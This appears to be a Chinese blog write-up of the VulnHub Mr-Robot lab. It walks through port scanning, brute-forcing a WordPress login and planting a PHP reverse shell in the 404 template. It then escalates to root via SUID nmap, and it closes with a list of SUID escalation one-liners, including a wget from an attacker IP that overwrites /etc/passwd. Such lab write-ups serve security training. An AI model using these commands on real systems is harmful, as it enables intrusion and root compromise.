[Vulnhub] MR-ROBOT Linux SUID提权

0x00 环境搭建

靶机地址:https://www.vulnhub.com/entry/mr-robot-1,151/
下载之后用vmware打开即可,这里使用的是桥接模式。
开机后搭建完成:
在这里插入图片描述


0x01 主机端口探测

arp-scan -l 探测内网存活主机,再用nmap -sV -p- ip来探测端口:
在这里插入图片描述
发现关闭了 22端口(SSH服务)、但开放了80端口(HTTP服务)、443端口(HTTPS服务)


0x02 web渗透

访问80端口,发现提供了几条命令,依次尝试一下:
在这里插入图片描述
输入prepare命令是播放一段视频;
输入fsociety命令也是一段视频;
输入inform命令是一些图片;
输入question命令也是一些图片;
输入join命令弹出提示输入邮箱地址;
其他命令无效果。

接下来进行目录扫描,输入命令dirb http:
在这里插入图片描述
在这里插入图片描述

发现了可能有用的目录:/readme、/robots.txt、/wp-login等
访问/robots.txt,发现一个flag文件和一个字典文件:
在这里插入图片描述
访问/key-1-of-3.txt获得第一个flag:
在这里插入图片描述
访问/fsocity.dic获得字典文件:
在这里插入图片描述
字典大小有6.9MB,用字典去重工具进行去重,得到的文件有105k
在这里插入图片描述

访问wp-login,发现是WordPress登录页面
尝试弱口令,发现用户名不正确,说明用户可暴破,用刚才的字典进行暴破:
在这里插入图片描述
暴破得到用户名为Elliot
在这里插入图片描述
接下来暴破Elliot账户的密码,得到密码为ER28-0652,方法同上,不再演示。

利用暴破出的账号密码,成功登入后台:
在这里插入图片描述


0x03 getshell

进入后台,在404页面插马拿shell:
在这里插入图片描述
这里使用kali自带的php反弹shell,输入命令find / -name php-reverse-shell.php尝试寻找可以利用的php反弹shell文件:
在这里插入图片描述

将查找到的文件替换掉404.php文件,并将ip地址改为攻击机地址和端口,点击更新档案上传文件:
在这里插入图片描述

在攻击机上输入命令 nc-lvp 12581监听12581端口:
在这里插入图片描述

访问修改后的404.php(随便构造一个不存在的页面触发shell)文件,得到反弹shell:
在这里插入图片描述
查看自己的用户和权限,可以发现权限不高:
在这里插入图片描述
使用cat /etc/passwd 查看靶机中的用户,发现有robot用户:
在这里插入图片描述
查看/home/robot文件夹中发现有两个文件:
在这里插入图片描述
查看key-2-of-3.txt发现权限不足,于是查看password.raw-md5文件。
在这里插入图片描述
解密后得到密码:abcdefghijklmnopqrstuvwxyz,尝试切换robot用户:
使用python -c 'import pty;pty.spawn("/bin/bash")'命令打开终端,用su robot命令切换用户输入密码:
在这里插入图片描述
获取第二个flag:
在这里插入图片描述


0x04 Linux SUID提权

SUID概念

功用:用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。
作用:只作用于二进制文件中。

SUID提权原理

设置了SUID的文件可以让调用者在调用该文件时以文件拥有者的身份运行该文件,所以利用SUID提权的原理就是运行拥有者为root并设置了SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了,如果此时可以输入命令,就可以打开一个用户身份为root的shell。

已知可用来提权的linux文件
  1. nmap
  2. vim/vi
  3. find
  4. bash
  5. more
  6. less
  7. nano
  8. cp
提权过程

使用find / -perm -u=s -type f 2>/dev/null查找设置了SUID的文件:
在这里插入图片描述
发现nmap有SUID标志位,查看nmap版本(早期版本的Nmap(2.02到5.21)有交互模式,nmap支持"interactive"选项,允许用户执行shell命令,通常,安全人员会使用改命令来避免他们使用namp命令被记录在history文件中):
在这里插入图片描述
使用nmap --interactive,进入交互模式,接着使用命令:!sh成功提权为root用户:
在这里插入图片描述
切换root目录下,拿到第三个flag:
在这里插入图片描述
整体流程如下:
靶机 => 主机端口探测 => web渗透(第一个flag) => 暴破账户密码 => 404.php写入木马 => 反弹shell => 查看密码文件 => 切换用户(第二个flag ) => SUID提权(第三个flag)

补充SUID提权
  1. namp版本:老版的nmap(2.02-5.21)有相互的功能–interactive
nmap --interactive
!sh

msf中也有相关模块exploit/unix/local/setuid_nmap

  1. vim/vi版本:如果vim以SUID运行,就会继承root用户的权限,可以读取系统中所有的文件
vim/vi
:!/bin/bash 或 :shell
  1. find版本:如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。
touch test
find test -exec whoami \;
  1. bash版本:
bash -p
  1. less/more版本:
less /etc/passwd
!/bin/sh
  1. nano版本:执行nano /etc/passwd , 即可添加root用户
  2. cp/mv版本:使用cp命令覆盖原本的/etc/passwd文件
  3. wget版本:
wget http://[your-ip]/passwd -O /etc/passwd
  1. teehee版本:将john写入root用户组里
echo "john::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

参考链接:
https://www.cnblogs.com/jesse-cavendish/p/13203523.html(VulnHub实战靶场Mr-Robot)
https://blog.csdn.net/qq_41123867/article/details/104924160(Linux中suid提权)
https://blog.csdn.net/qq_39293438/article/details/104094194(Linux SUID 提权)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值